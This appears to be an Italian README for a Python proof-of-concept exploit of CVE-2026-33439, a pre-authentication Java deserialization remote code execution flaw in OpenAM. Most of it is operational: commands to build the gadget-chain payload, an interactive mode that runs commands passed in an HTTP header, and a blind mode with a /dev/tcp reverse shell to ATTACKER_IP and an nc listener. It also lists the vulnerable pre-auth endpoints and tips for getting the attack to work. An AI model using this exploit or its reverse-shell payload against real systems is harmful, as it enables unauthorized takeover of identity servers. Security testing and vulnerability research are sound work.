
PoC Python che sfrutta CVE-2026-33439, una RCE pre-auth in OpenAM tramite deserializzazione Java del parametro jato.clientSession, con modalità shell interattiva e blind.
Esecuzione di codice in remoto pre-autenticazione in OpenIdentityPlatform OpenAM <= 16.0.5 tramite deserializzazione Java non sicura del parametro jato.clientSession (CVSS 9.8).
Solo per test di sicurezza autorizzati.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — deve corrispondere alla versione della JVM del server target; JDK 25 produce oggetti serializzati incompatibili)L'EvilTranslet legge l'header HTTP cmd dalla richiesta, lo esegue e scrive stdout direttamente nella risposta HTTP. Nessun listener necessario.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
Il comando è incorporato nel bytecode dell'EvilTranslet. Non viene restituito alcun output; usa un listener (nc, ecc.) per intercettare i callback.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| Flag | Descrizione |
|---|---|
| (nessun flag) | Crea payload interattivo (legge l'header cmd a runtime) |
--command "CMD" | Crea payload blind con CMD incorporato nel bytecode |
--jars DIR | Usa la directory JARs locale invece di scaricare (predefinito: ./libs) |
--download-only | Scarica solo i JARs, non compilare |
exploit.py| Flag | Descrizione |
|---|---|
--url URL | URL target (obbligatorio) — endpoint completo o URL base con --probe/--all |
--shell | Pseudo-shell interattiva (modalità interattiva) |
--probe | Rileva automaticamente l'endpoint vulnerabile dall'URL base |
--all | Invia il payload a TUTTI gli endpoint JATO (modalità blind) |
--method GET|POST | Metodo di invio HTTP (predefinito: GET) |
--proxy URL | Proxy HTTP (es. http://127.0.0.1:8080 per Burp) |
--timeout SECS | Timeout richiesta (predefinito: 15) |
--verify-tls | Abilita la verifica del certificato TLS |
--debug | Mostra i dettagli di richiesta/risposta |
Tutto il codice sorgente è nel repository — nessun blob opaco. I sorgenti Java sono incorporati in build.py come costanti stringa leggibili. Dopo la build, verifica l'output:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — ottiene la richiesta/risposta HTTP tramite il classloader della webapprequest.getHeader("cmd") — legge il comandonew ProcessBuilder("/bin/sh", "-c", cmd) — esegueresponse.reset() — cancella qualsiasi output JSP precedentetext/plain, poi chiude lo stream di outputRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — fire and forgetQualsiasi endpoint JATO ViewBean che renderizza tag <jato:form>, accessibile pre-auth:
| Endpoint | Note |
|---|---|
/openam/ui/PWResetUserValidation | Reset password (più affidabile) |
/openam/ui/PWResetQuestion | Domande di sicurezza per reset password |
/openam/ui/Login | Pagina di login |
| Sintomo | Causa | Soluzione |
|---|---|---|
| Viene restituita una pagina HTML invece dell'output del comando | JSP sovrascrive la risposta | Usa --shell con payload interattivo; oppure passa alla modalità blind |
| La deserializzazione non si attiva | Versione JDK non corrispondente | Ricompila con JDK 21: export JAVA_HOME=/path/to/jdk-21 |
| Timeout handshake TLS | Il server richiede hostname SNI | Aggiungi il target a /etc/hosts e usa l'hostname, non l'IP |
javac non trovato | JDK non installato | apt install openjdk-21-jdk |
MIT